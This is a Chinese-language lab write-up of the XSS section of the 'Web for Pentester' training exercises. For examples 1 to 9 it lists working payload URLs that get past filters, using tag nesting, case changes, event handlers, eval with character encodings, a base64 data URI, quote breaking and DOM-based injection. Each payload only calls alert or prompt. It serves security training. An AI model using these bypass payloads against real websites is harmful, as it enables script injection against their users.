Web for pentester_writeup之XSS篇
Web for pentester_writeup之XSS篇
XSS（跨站脚本攻击）
Example 1
反射性跨站脚本，URL中name字段直接在网页中显示，修改name字段，
Payload：
http://192.168.219.136/xss/example1.php?name=<script>alert(1)</script>
Example 2
和例1相似，但是做了相关字符串正则过滤，过滤<script></script>字符串
Paload1：
http://192.168.219.136/xss/example2.php?name=<scri<script>pt>alert(1)</scri</script>pt>
Paload2：
http://192.168.219.136/xss/example2.php?name=<Script>alert(1)</sCript>
Example 3
同样是过滤，使用例2的payload2无法成功
使用例2的payload1成功绕过过滤，可知新加了一层大小写过滤，但未考虑到标签包含标签方式过滤
Payload1：
http://192.168.219.136/xss/example3.php?name=<scri<script>pt>alert(1)</scri</script>pt>
还有一种方式，就是不使用script脚本
Payload2：
http://192.168.219.136/xss/example3.php?name=<img src=x onerror=alert(1)>
Example 4
返回值变为error，测试其他payload，发现只要payload包含script字符就会报错，使用无script字符的脚本验证
Payload1：
http://192.168.219.136/xss/example4.php?name=<img src=x onerror=alert(1)>
Payload2：
http://192.168.219.136/xss/example4.php?name=<BODY ONLOAD=alert('XSS')>
成功弹窗。
Example 5
测试上述payload均报错，应该是过滤掉了alert字符，测试使用html实体编码均失败
http://192.168.219.136/xss/example5.php?name=<img src=x onerror=alert(1)>
http://192.168.219.136/xss/example5.php?name=<script>alert(1)</script>
使用eval执行编码绕过
Payload1(十进制)
http://192.168.219.136/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>
Payload2（十六进制）
http://192.168.219.136/xss/example5.php?name=<script>eval("\x61\x6c\x65\x72\x74\x28\x31\x29")</script>
Payload3
http://192.168.219.136/xss/example5.php?name=<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
OR
http://192.168.219.136/xss/example5.php?name=<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>
Payload4（（BASE64编码）将<<script>alert(1)</script>整个base64编码为：PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==）
http://192.168.219.136/xss/example5.php?name=<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
Payload5（prompt）
http://192.168.219.136/xss/example5.php?name=<img src=x onerror=prompt(1)>
Example 6
使用上述的payload测试均无法成功弹窗，页面返回“ "; ”
发现返回payload后面的字符串
Payload1
http://192.168.219.136/xss/example6.php?name=<scri<script>pt>alert(1)</scri</script>pjkgkhhhhhhhhhhhhhhht><script>alert(1)</script>
为了找到具体的原因，设置Payload值为<script>alert(1)</script>，查看网页源代码
发现提交的东西赋入了变量a，故构造
Payload2
http://192.168.219.136/xss/example6.php?name=</script><script>alert(1);"
Example 7
使用</script><script>alert(1);"无法弹窗，直接查看源代码
发现对<>做了转义处理，通过闭合前后的单引号“’”,成功弹窗
Payload
http://192.168.219.136/xss/example7.php?name='; alert(1);'
OR（直接注释掉后面的单引号）
http://192.168.219.136/xss/example7.php?name='; alert(1)//
Example 8
开始有输入框了，猜测是存储性跨站脚本，输入<script>alert(1)</script>
无弹窗，查看源代码
尖括号被转义，尝试各种编码都失败了，查看参考答案发现还是反射型跨站脚本，一开始思路就错了，啪啪打脸。
漏洞点在于/xss/example8.php，通过在/xss/example8.php/[XSS_PAYLOAD]注入payload可以获取弹窗
Payload
http://192.168.219.136/xss/example8.php/"><script>alert(1)</script>
Example 9
这个的意思是指取地址栏#后的语句，然后也没做什么过滤，很简单的加入标签就好了
Payload
http://192.168.219.136/xss/example9.php?<script>alert(1)</script>
注：本关卡主要理解domxss的作用，在字符串带入中可以用？和#，如果用？需要和服务器交互，但是如果用#,则可以抓包看到实际上请求的xss脚本并未提交到服务器，这里可以更好的理解domxss，实际上不需要服务器的解析，实际上是利用浏览器的dom解析就可以完成，这是domxss与其他xss最本质的区别
注意（这里有点坑） :
用的ie浏览器可以实验成功
火狐和谷歌浏览器都会对<转码：%3Cscript%3Ealert(1)%3C/script%3E
